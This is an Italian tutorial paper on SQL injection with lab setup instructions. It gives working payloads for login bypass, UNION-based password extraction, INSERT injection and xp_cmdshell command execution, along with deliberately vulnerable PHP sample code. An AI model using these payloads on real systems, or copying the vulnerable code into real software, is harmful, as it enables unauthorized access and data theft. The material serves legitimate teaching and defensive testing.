sql injection - sbi.nordovest.bg.it · sql injection ma e` buona abitudine seguire i link presenti...

25
SQL Injection Indice Introduzione Informazioni sugli autori Capire il problema Metodologie di testing I problemi piu` diffusi Accessi non desiderati Visualizzare dati non accessibili Analisi delle query tramite l'introduzione di errori Advanced SELECT Injection INSERT Injection STORED PROCEDURES Injection Le feature e i problemi dei DBMS piu` diffusi Scrivere codice sicuro Configurare Linux Configurare Windows 2000 o XP Professional Esempi di codice vulnerabile PHP e PostgreSQL PHP e MySQL ASP e MDB

Upload: others

Post on 01-Feb-2020

0 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

SQL Injection

Indice

• Introduzione

• Informazioni sugli autori

• Capire il problema

• Metodologie di testing

• I problemi piu` diffusi

• Accessi non desiderati

• Visualizzare dati non accessibili

• Analisi delle query tramite l'introduzione di errori

• Advanced SELECT Injection

• INSERT Injection

• STORED PROCEDURES Injection

• Le feature e i problemi dei DBMS piu` diffusi

• Scrivere codice sicuro

• Configurare Linux

• Configurare Windows 2000 o XP Professional

• Esempi di codice vulnerabile

• PHP e PostgreSQL

• PHP e MySQL

• ASP e MDB

Page 2: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Introduzione L'evoluzione delle esigenze del pubblico internauta ha comportatol'introduzione di tecnologie dinamiche (creazione di contenuti "ondemand") nei piu` disparati servizi offerti dal web. Sono sempre piu` numerosi i server, anche gratuiti, che offrono lapossibilita` di elaborare script per la creazione di contenuti webe sempre piu` utenti stanno convertendo i propri siti statici invere e proprie applicazioni residenti sul web. Tali applicazioni utilizzano, nella maggioranza dei casi, datiprovenienti dall'utente ed introducono quindi la possibilita` dimodifica arbitraria delle variabili utilizzate dallo script,rendendo cosi` possibile l'insorgere di vulnerabilita` sfruttabilida remoto. In questo paper analizzeremo una fra le piu` diffusevulnerabilita` delle applicazioni web-related: la vulnerabilita`da SQL Injection.

Informazioni sugli autori

Eduard <Master^Shadow> Roccatello studia Ingegneria Informaticapresso l'Universita` di Padova. Si occupa di programmazione e diamministrazione di rete con un occhio di riguardo alleproblematiche di sicurezza su sistemi unixlike.

Aspinall studente in Informatica e Amministratore di Sistema, siinteressa di sviluppo e sicurezza in ambiente UNIX.

Sono entrambi membri di “S.P.I.N.E. Group” (http://www.spine-group.org)

Capire il problema

La maggior parte delle applicazioni web vengono realizzateinterfacciando l'applicazione stessa ad un server DBMS edinteragiscono con tali server tramite l'utilizzo del linguaggiostandard SQL. SQL Injection e` una tecnica di exploiting delle web applicationche utilizzano dati provenienti dai client nelle query, senzacontrollare la presenza di caratteri potenzialmente pericolosi. Contrariamente a quello che si puo` pensare, questo tipo divulnerabilita` e` molto diffusa e tale diffusione e` spesso dovutaalla mancanza di professionalita` di molti programmatori, spessoimprovvisati, e alla mancanza di solide basi di programmazionesicura.

Metodologie di testing Controllare le applicazioni per trovare eventuali vulnerabilita`

Page 3: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

dovute all'SQL Injection potrebbe essere molto complesso ma cisono casi dove la ricerca di script potenzialmente vulnerabili e`molto semplice. Se, ad esempio, l'aggiunta di un apice in un form ritorna unapagina bianca o piena di errori riportati dal server DBMS siamogia` ad un buon punto di partenza per quanto comporta la ricercadelle vulnerabilita`. Un buon programmatore dovrebbe controllare l'input di ognivariabile e non pensare che l'utente, utilizzatore della webapplication, formatti correttamente le variabili. Ogni possibilecampo dovrebbe essere testato per tutte le vulnerabilita` chepotrebbero coinvolgerlo, in modo da evitare ripercussioni in tuttolo script, spesso legato ad altri.

Un buon metodo di controllo delle applicazioni web potrebbe esserequello di inserire in ogni campo una comando tipico di SQLpreceduto da un apice, cercando cosi` eventuali problemi sullesingole variabili. Dopo aver provato i campi uno alla volta potrebbe essere utileriempire il form con dati formalmente corretti e ripetere laprocedura "apice+comando" per ogni campo, mantenendo formalmentecorretti gli altri campi. Ipotizziamo di passare ad uno script questi parametri formalmentecorretti:

script.php?nome=mario&cognome=rossi&[email protected]

Lo script funziona alla perfezione. Proviamo ora a modificare lastringa con un apice nel parametro "nome":

script.php?nome='mario&cognome=rossi&[email protected]

Ipotizzando che lo script sia vulnerabile, siamo andati amodificare i parametri inviati al server DBMS dalla query,modificandone strutturalmente la sintassi (ricordo che l'apice (')e` un operatore SQL). Cosa potrebbe accadere utilizzando una stringa di parametri comequella proposta dall'esempio? I risultati potrebbero essere molteplici: dalla semplice paginabianca ai piu` disparati errori provenienti dal server DBMS. Potrebbe riportare l'errore che gli altri paramentri non sonostati inseriti o addirittura mostrare dati che non dovrebberoessere visualizzati con quella query.

Dopo aver trovato una possibile vulnerabilita` da SQL Injection,la parte piu` importante e` l'interpretazione degli errori. Se l'errore viene generato del server DBMS siamo sicuramentedavanti ad una vulnerabilita` ad SQL Injection ma gli errorispesso sono tutt'altro che ovvi. Controlliamo sempre gli erroriche si riferiscono ad ODBC, alla sintassi, al server SQL. Bisogna inoltre prestare attenzione alle piu` minimali modifichedella pagina, segno di SQL Injection Exploiting, poiche` moltiprogrammatori possono nascondere le informazioni mettendo, ad

Page 4: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

esempio, eventuali errori negli header del documento HTML e nonmostrandone traccia nel body, la parte visualizzata dal browser.

Non bisogna fermarsi all'analisi della singola pagina colpita daSQL Injection ma e` buona abitudine seguire i link presenti nellapagina, alla ricerca di eventuali ripercussioni sull'interaapplicazione ed e` importante seguire anche eventuali redirectverso una pagina di errore predefinita, spesso preceduta da unaschermata di errore propria del database.

I problemi piu` diffusi Passiamo ora all'analisi dei piu` diffusi problemi di sicurezzadovuti alla vulnerabilita` da SQL Injection.

Accessi non desiderati

L'autenticazione delle web application e` spesso delegata ad unoscript di login che ha il compito di processare la coppialogin/password proveniente dal client e di confrontarla con lecoppie presenti nel database. In caso di corrispondenza lo scriptsettera` gli appositi flag per consentire il nostro accesso o, nelcaso opposto, ci vietera` l'accesso. Consideriamo il seguente codice PHP:

$user = $_GET['nome'];$passwd = $_GET['password'];$query = mysql_query(“SELECT * FROM utenti WHERE user='$user' AND

password='$passwd'”);if (mysql_num_rows($query) == 0) {

$logged = 0;} else {

$logged = 1;}

Questo breve script prende i dati dalla querystring e li mettenella query senza controllare la presenza di eventuali caratteripericolosi. Ipotizziamo di modificare entrambi gli argomenti passati alloscript in "' OR ''='" e di far processare la pagina al server. La parte condizionale della query passata al server DBMS (inquesto caso MySQL) diventa:

... WHERE user='' OR ''='' AND passwd='' OR ''=''

Come potrete ben capire entrambe queste condizioni sono sempreverificate e mysql_num_rows() restituira` un valore sicuramentediverso da zero (se la tabella contiene dati) consentendo cose` illogin a qualsiasi persona a conoscenza di questo problema.

Page 5: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Visualizzare dati non accessibili

Il mancato parsing dei parametri per caratteri maligni haintrodotto la possibilita` di editare, a piacimentodell'attaccante, la query verso il database. Abbiamo appena visto che e` possibile entrare con il massimo deiprivilegi in un'applicazione web ma potremmo decidere di accederea dati non direttamente accessibili dall'applicazione stessa. Lo standard SQL permette la creazione di SELECT multiple tramiteil comando UNION e tale fatto puo` essere sfruttato per gli scopidell'attaccante. Prendiamo in esame la seguente query:

“SELECT nome FROM users WHERE paese='$var'”

La variabile $var dovrebbe contenere il paese di provenienza degliutenti, dei quali stiamo cercando il nome ma, su di essa, nonviene fatto nessun controllo ed e` quindi possibile scriverecodice SQL direttamente nella variabile. Nel nostro caso $var conterra`

' UNION ALL SELECT nome, passwd FROM users ''='

Vediamo il contenuto della query una volta settata $var:

SELECT nome FROM users WHERE paese='' UNION ALL SELECT nome, passwd FROM users WHERE ''=''

Evidentemente la prima SELECT non restituira` nessun record(supponendo che nessun utente ha il campo paese vuoto) mentre laseconda SELECT e` incondizionata e restituira` tutte le coppienome/password. Il problema e` quello della visualizzazione dei dati: i dati orasono stati estratti dal database ma l'applicazione considera soloil campo "nome" e non "password". Fortunatamente (!) il linguaggioSQL permette l'aliasing dei campi tramite il comando AS che puo`essere sfruttato per fare l'output dei dati non visualizzabiliordinariamente.

Analisi delle query tramite l'introduzionedi errori

Molti server web restituiscono parte delle query in caso dierrore. Normalmente questa funzionalita` e` utile, anzi direinecessaria, durante il debugging delle applicazioni web ma puo`essere usata impropriamente per analizzare le query e quindicarpire informazioni sulla realizzazione di una web applicationvulnerabile da SQL Injection. E' sempre utile testare un'applicazione inserendo volutamenteerrori di sintassi nei campi che interagiscono con l'utente,magari utilizzando costrutti SQL incompleti come "valore'", "'",

Page 6: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

"'valore", "' OR '", ";" e "0,1,2".

Advanced SELECT Injection

Non sempre le web application elaborano query semplici e lineari.Capita a volte che siano presenti istruzioni racchiuse daparentesi, selezione sulla base di wildcards e campi nondirettamente modificabili. Iniettare codice sintatticamente corretto e funzionanteall'interno di queste tipologie di query potrebbe richiederel'utilizzo di piccoli accorgimenti, a volte non immediati.

SELECT nome FROM utenti WHERE (paese='campovariabile')

Estrapolare dati da una query di questo tipo non puo` essere fattocon il metodo visto nelle pagine precedenti poiche` ci verrebberosegnalati diversi errori di sintassi. Occorre quindi modificare la query utilizzando un campo di questogenere

') UNION ALL SELECT campo FROM altraTabella WHERE (''='

che, sostituita nella precedente, soddisfa perfettamente lasintassi SQL:

SELECT nome FROM utenti WHERE (paese='') UNIONALL SELECT campo FROM altraTabella WHERE (''='')

Il trucco sta semplicemente nel completare parentesi e apici conpiccoli trucchi in modo da far risultare la sintassi corretta eimpostare correttamente le variabili booleane di confronto. Altra sintassi che potrebbe creare problemi e` quella dovuta alcostrutto di confronto LIKE.

SELECT nome FROM utenti WHERE nome LIKE '%campovariabile%'

I simboli di percentuale funzionano nelle query SQL come wildcardse un eventuale completamento %% ritornerebbe tutti i record equindi non sarebbe applicabile il costrutto UNION. Bisogna quindi pensare di inserire una stringa che non risulti innessuno dei record, come potrebbe essere ad esempio "!?!". Un campo tipico per iniettare codice in questa query potrebbeessere il seguente:

!?!%' UNION ALL SELECT campo FROM tab WHERE campo LIKE '%

Sostituendo la query SQL diventa:

SELECT nome FROM utenti WHERE nome LIKE '%!?!%'UNION ALL SELECT campo FROM altraTabella

WHERE campo LIKE '%%'

Page 7: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

INSERT Injection

Finora abbiamo considerato SQL Injection un problema legato alcostrutto SELECT ma possiamo tranquillamente dire che questavulnerabilita` si puo` estendere a qualsiasi query contententeinput dell'utente non appositamente controllato. Un altro costrutto potenzialmente vulnerabile e` INSERT,necessario per l'inserimento di nuovi record all'interno di unatabella. Controllare la vulnerabilita` di una query di inserimentocomporta le stesse tecniche viste per la query di selezione ma laforzatura di queste query potrebbe segnalarci all'amministratoredell'applicazione in quanto verrebbero riportate nei record partidi sintassi SQL. Iniettare codice nella query INSERT consente all'utente smaliziatodi prelevare dati da un database e utilizzarli per la propriaregistrazione. Ad esempio e` possibile registrarsi al posto di unaltro utente senza aver nessun dato su di lui. L'unico trucconecessario per assicurarsi dell'effettiva estrazione dei dati e`quella di visualizzarli (ad esempio tramite il pannello dicontrollo). Per portare a termine questo tipo di exploit il server DBMS devesupportare le SUBSELECT (ad esempio MySQL non supporta questafeature) e si devono conoscere i nomi di campi e tabella,ricavabili con un po' di reverse engineering. Ipotizziamo di avere la seguente query di inserimento:

INSERT INTO tab (nome, cognome) VALUES ('campo1', 'campo2')

Se al posto di campo1 inseriamo

' + SELECT nome FROM tab LIMIT 1 + '

e al posto di campo2 inseriamo

' + SELECT cognome FROM tab LIMIT 1 + '

otteniamo una perfetta replica di un record esistente all'internodel database poiche` la query in questione diventa:

INSERT INTO tab (nome, cognome) VALUES ('' +SELECT nome FROM tab LIMIT 1 + '', '' + SELECT

cognome FROM tab LIMIT 1 + '')

Per cambiare l'utente da selezionare basta scorrere i record conl'offset offerto dall'istruzione LIMIT o, eventualmente, usare lasintassi NOT IN () per ciclare i record.

STORED PROCEDURES Injection

Exploitare le stored procedures e` generalmente molto piu`

Page 8: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

semplice che agire sul costrutto SELECT. Le stored procedures sono parti di codice SQL richiamabili neicostrutti SQL tramite l'utilizzo di EXEC e sono praticamente degliscript batch, atti ad effettuare operazioni direttamenteall'interno del server DBMS. Hanno la particolarita` di essere abbastanza veloci e sono moltoutilizzate per le operazioni transizionali. Non tutti i server DBMS permettono l'esecuzione delle storedprocedures e, per richiamare l'esecuzione delle stesse, e`necessario che lo stesso server permetta l'utilizzo di statementmultipli (istruzioni SQL distinte separate da un punto e virgola).

Diversi server DBMS hanno comunque queste feature e possiedono,inoltre, diverse Stored Procedures predefinite, molte delle qualipossono compiere operazioni molto interessanti per un attaccante.

Esaminiamo la vulnerabilita` piu` evidente nel server DBMS diMicroSoft, MS SQL Server. Tale server attiva di defaultinnumerevoli stored procedures, fra le quali troviamo xp_cmdshellovvero un frontend per l'interprete dei comandi dei sistemi basatisu kernel NT. Il server in questione supporta statement multipli ebasta quindi una qualsiasi vulnerabilita` da SQL Injection peraccedere al sistema con i permessi del server SQL. Consideriamo la seguente query:

SELECT * FROM tab WHERE nome='campovariabile'

Terminando il primo costrutto con un nome arbitrario ed applicandola sintassi di EXEC sulla procedura xp_cmdshell otteniamo lasequente query:

SELECT * FROM tab WHERE nome='ed'; EXECmaster.dbo.xp_cmdshell 'cmd.exe comando'

Al posto di "comando" possiamo immettere qualsiasi stringa dicomando interpretabile dalla shell dei sistemi NT ovvero ilsistema e` in balia dei nostri comandi.

Ovviamente il sistema server SQL di Microsoft non e` l'unico adoffrire stored procedures predefinite ma e` stato preso inconsiderazione per la gravita` della situazione che combinata conerrori di programmazione web permette l'accesso a persone nondesiderate. E' quindi bene disabilitare, o rimuovere, le stored procedures nonnecessarie al corretto funzionamento del server e assicurarsi chei permessi sulle parti vitali del sistema siano piu` restrittivipossibile.

Le feature e i problemi dei DBMS piu`diffusi

MySQL Supporta 'INTO OUTFILE' Supporta 'UNION' (dalla versione 4.x)

Page 9: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Spesso gira come "root"Molti moduli e librerie non supportano statement multipli

Oracle Supporta le SubSelect Supporta 'UNION' Supporta le stored procedures Non supporta statement multipli Molte stored procedures preimpostate, alcune delle qualipericolose

DB2 Supporta le SubSelect Supporta 'UNION' Supporta le stored procedures Non supporta statement multipli

Postgres Supporta 'COPY' se fatto girare come superutente Supporta le SubSelect Supporta 'UNION' Supporta le stored procedures Supporta gli statement multipli

MS SQL Server Supporta le SubSelect Supporta 'UNION' Supporta le stored procedures Supporta gli statement multipli Molte store procedures preimpostate sono pericolose

Scrivere codice sicuro Ogni web application che si rispetti deve seguire piccole norme diprogrammazione per elevare la sicurezza al massimo possibile. Se l'applicazione riceve input dall'utente questo deve essereprocessato appropriatamente in modo da escludere eventualicaratteri maligni, che potrebbero interferire con le querypreviste dai programmatori. E' quindi necessario lasciar passare solo i caratteri necessari efiltrare tutti gli indesiderati tramite l'utilizzo di parserappositi (magari una regular expression ben congengnata). Ad esempio per lasciar passare solo i caratteri alfabetici laregexp seguente e` l'ideale:

s/[^a-zA-Z]//gmentre per far passare i soli numeri si puo` applicare:

s/[^0-9]//gLasciare solo i caratteri alfanumerici e` quasi sempre un'ottimasoluzione al nostro problema ma puo` capitare di aver bisogno dialtri tipi di caratteri. In questo caso e` bene sostituire aicaratteri la loro codifica nello standard UniCode o nello standard

Page 10: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

HTML. Ovviamente e` sempre bene utilizzare il minimo numero possibile dicaratteri non alfanumerici per evitare potenziali problemi diiniezione. Altra feature interessante per aumentare la sicurezza delle webapplication potrebbe essere l'individuazione di tentativi diiniezione del codice prima del passaggio a stored procedures e aquery. All'interno delle stored procedures e` bene non creare le querydinamicamente ma cercare di mantenere fisso piu` codice possibile.Realizzare una procedura di questo tipo richiede la creazione diuna procedura contentente la sola query statica ed il semplicepassaggio delle variabili come parametri. Ad esempio:

CREATE PROCusr_prendiUtenteDaNick@nick nvarchar(255)ASSELECT nome, cognome, indirizzo, telefonoFROM utentiWHERE nick = @nickRETURN

La configurazione del server deve essere piu` restrittivapossibile e deve evitare la possibilita` di accedere liberamente aparti del sistema non normalmente disponibili. Disabilitare le stored procedure non necessarie agli utentipotrebbe essere la soluzione ai nostri problemi ma un'attentapolicy di permessi potrebbe evitare la mutilazione eccessiva delserver DBMS.

Configurare Linux

MySQL

La versione scaricata è la seguente : mysql-4.0.14.tar.gzUna volta scompattato diamo i seguenti comandi :

# ./configure --prefix=/usr# make# make install

Lanciamo lo script mysql_install_db per generare i databaseiniziali e ora lanciamo il demone mysqld con il comando# mysql.server startRicordatevi di settare i permessi, # chown -R root /usr/local/mysqlnon entriamo troppo nel dettaglio,se dovestre riscontrare deiproblemi vi consigliamo di leggervi la documentazione ufficiale.

Page 11: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Una volta lasciato il demone in ascolto, possiamo settare lapassword per l'utente root di mysql:# mysqladmin -u root -p passwordPer testare il tutto connettiamoci al nostro database appenainstallatoroot@aspinazzo:/# mysql -u root -pEnter password:Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 10 to server version: 4.0.14-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

E` raccomandato connettersi al database non da root , quindiaggiungete un nuovo utente al database server.Consultate http://www.mysql.com/doc/en/GRANT.html per scegliere idovuti privilegi

Apache

Ora scarichiamo i sorgenti di apache e diamo i seguenti comandi : # ./configure --prefix=/usr --sysconfdir=/etc/apache \--enable-mods-shared=all --with-ssl --with-perl# make # make install

root@aspinazzo:/# httpd -versionServer version: Apache/2.0.47Server built: Aug 28 2003 18:08:05

PHP

Procuriamoci la versione 4.3.3 e scompattiamola.Compiliamo ed installiamo con la seguente procedura:

# ./configure --prefix=/usr --with-apxs2 \--enable-cli --with-config-file-path=/etc/apache/php.ini \--enable-magic-quotes --with-openssl --with-zlib \--enable-bcmath --with-bz2 --enable-calendar --with-jpeg \--with-tiff --enable-exif --enable-ftp --with-gd --with-gmp \--with-gettext --with-mysql --with-mysql-sock=/var/.../mysql.sock\--with-ncurses --enable-shmop --enable-sockets --enable-sysvmsg \--enable-sysvsem --enable--sysvshm --enable-zend-multibyte --with-pear \--enable-trans-sid# make # make install

Page 12: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Aggiungiamo le seguenti stringhe in httpd.conf

LoadModule php4_module modules/libphp4.soAddType application/x-httpd-php .php .php3AddType application/x-httpd-php-source .phps

Dovremmo aver finito , ora riavviamo apache :# apachectl restart

Creiamo un database e proviamo l'interazione tra php e mysql.# mysqladmin -u root create testdb -p (testdb è il db che useremo per per eseguire i test)

Editiamo una pagina di test per provare il tutto:

// test.php

<?# Apertura connessione verso mysql

$tmp_socket=mysql_connect("localhost", "user", "prova") or die("Impossibile connettere a mysql: ".mysql_error());echo '> Apertura del database effettuata.<br>';

# Seleziono il database di testmysql_selectdb("testdb");

echo '> Database \'testdb\' selezionato.<br>';

# Creo un record nella mia tabella di test

$sql = "INSERT INTO testtb(testfield) VALUES('test')";

$result = mysql_query($sql);

if (!$result) { die('Impossibile aggiungere record alla tabella<br>');

}else { echo '> Record inserito con successo.<br>';}

# Recupero il record appena inserito

$sql = "SELECT idkey, testfield FROM testtb";$result = mysql_query($sql);if (!$result) {

die('Impossibile leggere record dalla tabella<br>');}else { $record = mysql_fetch_array($result);

echo '> Il valore contenuto nella tabella per il record conidkey '.$record['idkey'].' e` &lt;'.$record['testfield'].

Page 13: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

'&gt;<br>';}

# Elimino il record creato e chiudo la connessione a mysql

$sql = "DELETE FROM testtb";$result = mysql_query($sql);if (!$result) {

die('Impossibile cancellare record dalla tabella<br>');}else {

echo '> Record cancellato con successo.<br>';}mysql_close($tmp_socket);echo '> Connessione con il database chiusa.<br>';?>// EOF

Eseguiamo la pagina per verificare il corretto funzionamento:

#lynx 127.0.0.1/test.php > Apertura del database effettuata. > Database 'testdb' selezionato. > Record inserito con successo. > Il valore contenuto nella tabella per il record con idkey 15e` <test> > Record cancellato con successo. > Connessione con il database chiusa.

Apache, MySQL e PHP sono correttamente installati e possiamopassare all'installazione di PostgreSQL.

PostgreSQL

PostgreSQL e` un RDBMS e fornisce il maggior supporto aglistandard ANSI SQL per quanto riguarda il software opensource ma e`leggermente piu` difficile da gestire di MySQL.Ci sono essenzialmente due modi per installare PostgreSQL:utilizzare i binari o compilare il sorgente. Entrambi le soluzionipossono essere trovate su http://www.postgresql.org o nel sitodella propria distribuzione Linux.

Installare i binari e` molto semplice e puo` essere fatto con itools della propria distribuzione.In questo articolo parleremo della compilazione dei sorgenti diPostgreSQL.

Il primo passo da effettuare e` quello di creare un utente per ildatabase, che noi chiameremo postgres, al quale assegneremo ilgruppo postgres e la home directory “/usr/local/pgsql”.L'installazione di PostgreSQL e` stata effettuata su una macchina

Page 14: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Linux Slackware.Copiamo il tarball dei sorgenti “postgresql-7.3.4.tar.gz” in /tmpe scompattiamolo con il comando tar:tar xzvf postgresql-7.3.4.tar.gzAbbiamo ottenuto una nuova cartella contenente i sorgenti diPostgreSQL.

Spostiamoci all'interno della cartella con:cd postgresql-7.3.4/srce cominciamo a configurare il Makefile per il nostro sistema:./configureContinuiamo la compilazione con:makeSe tutto va per il meglio l'ultima riga restituita dal sistemadovrebbe essere“All of PostgreSQL is successfully made. Ready to install.”Prima di procedere all'installazione cambiamo il nostro utente nelnostro utente postgres consu – postgrese diamo il via all'installazionemake install

Se ci dovessero essere problemi effettuando l'installazionedall'utente postgres, e` necessario provare utilizzando ilsuperuser root e poi cambiare il possessore dei file con ilcomando chown in questo modo:cd /usr/localchown -R postgres.postgres pgsql

Abbiamo bisogno di informare il sistema che le librerie di pgsqlsono installate. Aggiorniamo il file /etc/ld.so.conf aggiungendola riga/usr/local/pgsql/libe lanciando il comando/sbin/ldconfig

Abbiamo quasi terminato. Dobbiamo impostare il database inizialedi PostgreSQL.Come utente postgres lanciamo il comando:/usr/local/pgsql/bin/initdb -D /usr/local/pgsql/dataFacciamo partire postgres utilizzando il seguente script:su -c '/usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data >>/usr/local/pgsql/logs/server.log 2>&1' postgres &

Abbiamo appena terminato l'installazione di PostgreSQL, non ciresta che configurare i file di configurazione che troverete nelladirectory /usr/local/pgsql/data/ .Apriamo il file postgresql.conf con un editor di testo e settiamola seguente opzione a true:tcpip_socket = true

Page 15: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed
Page 16: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Configurare Windows 2000 o XP ProfessionalCome tutti gli applicativi sotto Microsoft Windows l'installazionedel server web richiede poco tempo e pochi click. Si rivela quindialla portata di tutti.

La prima cosa da fare e` l'apertura del Pannello di Controllo ela selezione dell'icona Installazione Applicazioni. Una voltaaperta la finestra di dialogo dobbiamo selezionare Aggiungicomponenti di Windows ed aggiungere Internet Information Services(IIS) come da figura:

Vi verra` richiesto il cd di installazione e terminata laprocedura il software sara` installato sul vostro disco fisso.

Procediamo ad una piccola configurazione tornando nel Pannello diControllo, aprendo Strumenti di Amministrazione e cliccando suInternet Information Services. Apparira` la finestra in figura:

Page 17: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Apriamo il menu della figura cliccando con il tasto destro su SitoWeb Predefinito e selezioniamo Proprieta` dal menu a scomparsa:apparira` la seguente finestra di dialogo.

Configuriamo la home directory impostando il Percorso Localeattualmente impostato su c:\inetpub\wwwroot

Page 18: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Esempi di codice vulnerabile

PHP e PostgreSQL

Per i nostri test avremo bisogno di un database dove inserire lenostre tabelle.Per fare cio` logghiamoci nel sistema come utente postgres:su – postgrese utilizziamo il comando:createdb nomedatabase

Per le nostre prove chiamaremo il database “testdb”Se non l'abbiamo gia` fatto e` bene crearsi un utente per lavorareal database senza loggarsi come postgres. Io ho utilizzato il miostesso nomeutente in modo da non usare flag durante la connessioneal database da console.Il comando da utilizzare e`:createuser nomeutente

Ora abbiamo accesso al server DBMS. Entriamo con le credenzialidell'utente appena creato e interfacciamoci al database “test”digitando il comando:psql testdb

Abbiamo appena cominciato una sessione di comunicazione con ildatabase test contenuto nel server PostgreSQL.Il nostro nuovo utente puo` tranquillamente entrare da locale manon puo` entrare da una connessione esterna. Abbiamo quindi lanecessita` di modificare il file di configurazione pg_hba.confsituato nella directory 'data' di pgsql.Io ho inserito le seguenti righe di configurazione che vanno beneper un server locale monoutente ma certo non per un server remoto.local all all passwordutentihost all all 192.168.0.0 255.255.255.0 passwordutentihost all all 127.0.0.1 255.255.255.0 password utenti

Queste regole impostano Postgres in modo da richiede una passwordper l'accesso e, dopo tale autentificazione, il DBMS non ci dara`limitazioni se non quelle impostate al momento della creazionedell'utente.La dicitura “password utenti” dice a postgres di richiedere unapassword, imagazzinata in un file chiamato 'utenti' nelladirectory 'data' della home del server.Tale file ha la seguente struttura:nomeutente:passwordinchiaro

Le password sono in chiaro quindi solo postgres deve poterciaccedere.

Page 19: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

Durante le nostre prove avremo bisogno essenziamente di duetabelle, create ad hoc per focalizzare l'attenzione sullaproblematica, e alcuni dati fittizi.

Creiamo la prima tabella “nominativi” tramite console:CREATE TABLE nominativi (nome VARCHAR(30), cognomeVARCHAR(50));

ed inseriamo i seguenti dati:INSERT INTO nominativi (nome, cognome) VALUES ('mario','bianchi');INSERT INTO nominativi (nome, cognome) VALUES ('giacomo','rossi');INSERT INTO nominativi (nome, cognome) VALUES ('beppe','verdi');INSERT INTO nominativi (nome, cognome) VALUES ('maria','bianchi');

Creiamo una seconda tabella “lavoro”:CREATE TABLE lavoro (ruolo VARCHAR(30), specializzazione VARCHAR(50));

ed inseriamo i dati:INSERT INTO lavoro (ruolo, specializzazione) VALUES('ingegnere', 'supervisione');INSERT INTO lavoro (ruolo, specializzazione) VALUES('informatico', 'programmatore');INSERT INTO lavoro (ruolo, specializzazione) VALUES('manager', 'organizzazione');INSERT INTO lavoro (ruolo, specializzazione) VALUES('perito', 'tecnico');

Ora siamo pronti a lavorare lato scripting per mostrare lapericolosita` delle SQL Injection.Prepariamo due pagine: index.html e sql.php

index.html contiene il seguente codice html:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"http://www.w3.org/TR/html4/loose.dtd"">

<html><head> <title>SQL Injection</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body><form action="sql.php" method="POST"><input type="text" name="query"><input type="submit"></form>

Page 20: SQL Injection - sbi.nordovest.bg.it · SQL Injection ma e` buona abitudine seguire i link presenti nella pagina, alla ricerca di eventuali ripercussioni sull'intera applicazione ed

</body></html>

sql.php contiene il seguente codice php:

<?$conn = pg_connect('dbname=testdb user=utente password=password');$text = '';if (get_magic_quotes_gpc() == 1) {

// GPC attivate$text = stripslashes($_POST['query']);

} else {$text = $_POST['query'];

}

$query = pg_query($conn, 'SELECT * FROM nominativi WHEREnome=\''.$text.'\'');while ($row = pg_fetch_array($query)) {

print $row['nome'].' '.$row['cognome']."<br>\n";}pg_free_result($query);pg_close($conn);?>

Il codice php e` stato strutturato il modo tale da funzionare suqualsiasi tipo di php, con e senza magic quotes.Se noi apriamo con un browser index.html ed inseriamo uno dei nomiche abbiamo precedentemente inserito (ad esempio 'mario')otteniamo la voce contenente il suo nome e il suo cognome come ciaspettiamo ma proviamo ad inserire un apice ('):

Warning: pg_query() query failed: ERROR: parser: unterminatedquoted string at or near "'''" at character 37 in /home/apache/www/sql/sql.php on line 12

Warning: pg_fetch_array(): supplied argument is not a validPostgreSQL result resource in /home/apache/www/sql/sql.php on line13

